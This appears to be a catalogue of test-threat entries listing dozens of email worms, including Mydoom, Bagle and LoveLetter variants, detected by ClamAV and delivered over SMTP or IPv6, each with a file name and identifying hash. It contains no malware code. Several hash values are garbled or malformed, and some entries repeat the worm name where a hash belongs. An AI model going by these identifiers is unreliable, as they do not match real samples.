Detailed Description:	This is the email virus Email-Worm.Win32.Mari.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mari.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.feb481a8.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: feb481a8d4330c549512b27bd99f8ed2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Unicle.B.58948742_IPv6.xml
Executive Description:	Email Virus Worm.Unicle.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58948742a7038aa3025704f3563cd21b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.MyPics.k.k.d669f879.xml
Executive Description:	Email Virus Email-Worm.Win32.MyPics.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.MyPics.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.MyPics.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Headline.38c404b6.xml
Executive Description:	Email Virus Worm.Headline
Detailed Description:	This is the email virus Worm.Headline as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38c404b63280b6b3ea51a96ece0f4d01. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Falckon.a.a.ef67a01b.xml
Executive Description:	Email Virus Email-Worm.VBS.Falckon.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Falckon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Falckon.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Likun.c.cc02d935_IPv6.xml
Executive Description:	Email Virus Worm.Likun.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Likun.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cc02d93546cb972bd4708eb7ed140644. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.3879d6af.xml
Executive Description:	Email Virus Worm.LoveLetter.BK
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3879d6afaa4b04falbb3a60387297ac5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Forgotten.5d5a377d.xml
Executive Description:	Email Virus Worm.Forgotten
Detailed Description:	This is the email virus Worm.Forgotten as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d5a377dda72e00fd7f046db950602aa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wozer.F.5d9a4018.xml
Executive Description:	Email Virus Worm.Wozer.F
Detailed Description:	This is the email virus Worm.Wozer.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d9a401831af2a478c37b4764a95de3c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.690a27dd.xml
Executive Description:	Email Virus Worm.Gaggl
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 690a27dd18e7bc46aadbb5ffal27e97e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Breeder.caeb734b.xml
Executive Description:	Email Virus Worm.VBS.Breeder
Detailed Description:	This is the email virus Worm.VBS.Breeder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: caeb734b79391ce53f654951db868efc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gong.4e56c693.xml
Executive Description:	Email Virus Worm.Gong
Detailed Description:	This is the email virus Worm.Gong as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4e56c6937f041279bc4d8308d6fe6bc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Plexus.B.4e4f8808_IPv6.xml
Executive Description:	Email Virus Worm.Plexus.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Plexus.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4e4f880828f3cdfef6b8aab654aa6361. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.mal.24b79b36.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.mal
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.mal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.mal. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Q.04871d17_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Q (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04871d17dbbd1911afc76aad6d9dbd20. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Iwing.b.d6de7cb9.xml
Executive Description:	Email Virus Worm.Iwing.b
Detailed Description:	This is the email virus Worm.Iwing.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6de7cb913d97adb828a3e18097083ee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VWS.e280eb68_IPv6.xml
Executive Description:	Email Virus Worm.VWS (IPv6 Version)
Detailed Description:	This is the email virus Worm.VWS as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e280eb68f84f62a09e74adad7bc8619b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	MIRC.IRC.Mill.3.09f39e9a.xml
Executive Description:	Email Virus MIRC.IRC.Mill.3
Detailed Description:	This is the email virus MIRC.IRC.Mill.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09f39e9a90a97f01a4387fa8a6044167. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Decbel.4ab4ae3f_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Decbel (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Decbel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ab4ae3fa8a5f6ad2edf81b59bf7ea6b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.d.d.594df4aa.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Luna.C.d4784029_IPv6.xml
Executive Description:	Email Virus Worm.Luna.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Luna.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d478402929eb228478414de8d78e5cd3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AJ.fd34b68a.xml
Executive Description:	Email Virus Worm.LoveLetter.AJ
Detailed Description:	This is the email virus Worm.LoveLetter.AJ as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fd34b68aaf798a001cd6ea0d86a70954. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trilissa.e.969548bd_IPv6.xml
Executive Description:	Email Virus Worm.Trilissa.e (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trilissa.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 969548bd4ddd0e029fc2b5e7f99e4af. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.419a92b5_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 419a92b58266b079e6f36bc2a541e484. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AU.6e96df83_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AU (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AU as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e96df8304807fb4238f0f698fd96157. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nevezed.a0ca0ce0_IPv6.xml
Executive Description:	Email Virus Worm.Nevezed (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nevezed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a0ca0ce029d4c94c95a8b96ec040734d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.n.n.7df75dlc.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.n.n
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.n.n as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.n.n. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.BWG.C.3d3b062a_IPv6.xml
Executive Description:	Email Virus VBS.BWG.C (IPv6 Version)
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d3b062a999e5355e0ca86d89a933b3f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Energy.d.d.26a3ca35.xml
Executive Description:	Email Virus Email-Worm.Win32.Energy.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Energy.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Energy.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.333fd91e.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 333fd91ed4597e4435ef7902dc846422. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lassorm.06e877cf_IPv6.xml
Executive Description:	Email Virus Worm.Lassorm (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lassorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e877cfdb0f6f75e0dlcec7fb975791. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.36d7db58.xml
Executive Description:	Email Virus Worm.MyPics.a
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d7db58cla839cd7929100aaf489ae7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Turmol.doc.3b9cbb48.xml
Executive Description:	Email Virus Email-Worm.MSWord.Turmol.doc
Detailed Description:	This is the email virus Email-Worm.MSWord.Turmol.doc as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Turmol.doc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.H.47cc271e_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.H (IPv6 Version)

Detailed Description:	This is the email virus Worm.Mydoom.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47cc271e765e6cdf0562e692ce805b35. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Newapt.f.f.03ab6973_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Newapt.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Newapt.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newapt.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.61af70c0.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 61af70c0b33fe7bd39e8da0a8bf6711d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRC.Hetrad.06ad57e7.xml
Executive Description:	Email Virus Worm.IRC.Hetrad
Detailed Description:	This is the email virus Worm.IRC.Hetrad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06ad57e772c53c43c0c5e06e8465534e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Azag.A.b8c4adfa_IPv6.xml
Executive Description:	Email Virus Worm.Azag.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Azag.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b8c4adfabd673dafa097c2leff75e840. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.d2f827d0_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2f827d06adf956ba38c626d492a13b6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.P.3018e998.xml
Executive Description:	Email Virus Worm.SomeFool.P
Detailed Description:	This is the email virus Worm.SomeFool.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3018e99857f31a59e0777396ae634a8f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.002.207169bb_IPv6.xml
Executive Description:	Email Virus W95.Hybris.PI.002 (IPv6 Version)
Detailed Description:	This is the email virus W95.Hybris.PI.002 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207169bb3935c53060ce8b4f3f39943a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Zsyang.77a8e4b5_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Zsyang (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Zsyang as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77a8e4b5cb536ecc48935da9f9a9b992. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.f98ebfc2_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f98ebfc238698fa3fe70a62731c267d6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Centar.k.k.681a08e6_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Centar.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Centar.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Centar.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.75ac02ae_IPv6.xml

Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75ac02ael434f73b37736c3e2f62c9d5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Loding.b.5f196b52.xml
Executive Description:	Email Virus Worm.Loding.b
Detailed Description:	This is the email virus Worm.Loding.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f196b528a0f06e00f46432c0b051858. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.05cb6600.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05cb660040a843fa2c5602f51fd9efa4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.690a27dd_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 690a27dd18e7bc46aadb5ffa127e97e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Timofonica.C.97537e23_IPv6.xml
Executive Description:	Email Virus Worm.Timofonica.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Timofonica.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97537e239b95c8ba7828a5742414ddb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Energy.E.d377a5dd.xml
Executive Description:	Email Virus Worm.Energy.E
Detailed Description:	This is the email virus Worm.Energy.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d377a5dd8afb394230be70409238f72a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.W.fl69c212.xml
Executive Description:	Email Virus Worm.Mydoom.W
Detailed Description:	This is the email virus Worm.Mydoom.W as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fl69c212b9eb77979df00bddell6b400. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.6f1214c6.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f1214c65da19a5b189cd37cbc2417e9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stina.sti.3d6294c8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Stina.sti (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Stina.sti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stina.sti. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Junkboat.a.5a0cd5c3_IPv6.xml
Executive Description:	Email Virus Worm.Junkboat.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Junkboat.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a0cd5c3a3477fbddl6a460da684alad. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Gigger.gig.afae28cc_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Gigger.gig (IPv6 Version)
Detailed Description:	This is the email virus Worm.JS.Gigger.gig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Gigger.gig. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	VBS.SSIWG.3fb67d40.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3fb67d40f9a80799ef41fb5a849c7001. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gift.B.d6dd0e68_IPv6.xml
Executive Description:	Email Virus Worm.Gift.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gift.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6dd0e682d5aa648b9ab1f91b0d5a3c0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Famster.c7a088c2_IPv6.xml
Executive Description:	Email Virus Worm.Famster (IPv6 Version)
Detailed Description:	This is the email virus Worm.Famster as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c7a088c24b2fd20f7c05ba836a27f3ee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.62154693.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 621546937af4b6346e251822fd481634. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.O.2.0a65e532_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.O.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.O.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a65e53245bf47984a0bebacce80e8a6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.a.a.333bd791.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Fix2001.d2a5f4b7_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.Fix2001 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.Fix2001 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2a5f4b769de0f89d591fd0505b6e584. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sdan.a.04443ed5.xml
Executive Description:	Email Virus Worm.Sdan.a
Detailed Description:	This is the email virus Worm.Sdan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04443ed574905855d43c4251094845e5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.f.f.95109868_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kouds.9e3c3be6.xml
Executive Description:	Email Virus Worm.Kouds
Detailed Description:	This is the email virus Worm.Kouds as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e3c3be6975be786559522e44378f607. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.92921e24.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 92921e24c9efc5ea8f8e95717615adfc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Bagle.BA-RAR.179ffe50.xml
Executive Description:	Email Virus Worm.Bagle.BA-RAR
Detailed Description:	This is the email virus Worm.Bagle.BA-RAR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 179ffe50ed0f5f5a5ff8b5f8116c0f8a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wlymak.bb427fa6_IPv6.xml
Executive Description:	Email Virus Worm.Wlymak (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wlymak as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb427fa6d723a91b522ad5828350dc60. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Brit.i.i.e1dd3520.xml
Executive Description:	Email Virus Email-Worm.VBS.Brit.i.i
Detailed Description:	This is the email virus Email-Worm.VBS.Brit.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Brit.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Desor.1b17ce5b_IPv6.xml
Executive Description:	Email Virus Worm.Desor (IPv6 Version)
Detailed Description:	This is the email virus Worm.Desor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1b17ce5bb62a97e7fc29a78af4031dfc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.038c9db8.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 038c9db8159da91bf0c8dea72618b10a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Scaline.A.566740df_IPv6.xml
Executive Description:	Email Virus Worm.Scaline.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Scaline.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 566740df1c100a274ba2152c4d86dc46. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.95bfa05c.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95bfa05cb28ccd2bc9218505146d0b39. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BritneyPic.1.abd315d3.xml
Executive Description:	Email Virus Worm.BritneyPic.1
Detailed Description:	This is the email virus Worm.BritneyPic.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abd315d3366a7d4ad37a4943939aa9cb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IFeel.15ec2d19_IPv6.xml
Executive Description:	Email Virus Worm.IFeel (IPv6 Version)
Detailed Description:	This is the email virus Worm.IFeel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15ec2d19865215727bfbcff39be6382f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Pereban.b.b.336b2f0f_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Pereban.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Pereban.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Pereban.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.89031853.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89031853f1bce576777349bde1754879. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Jerm.a.233665c4.xml
Executive Description:	Email Virus Worm.Jerm.a
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 233665c4f4c7ef0b39663035a1fad118. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
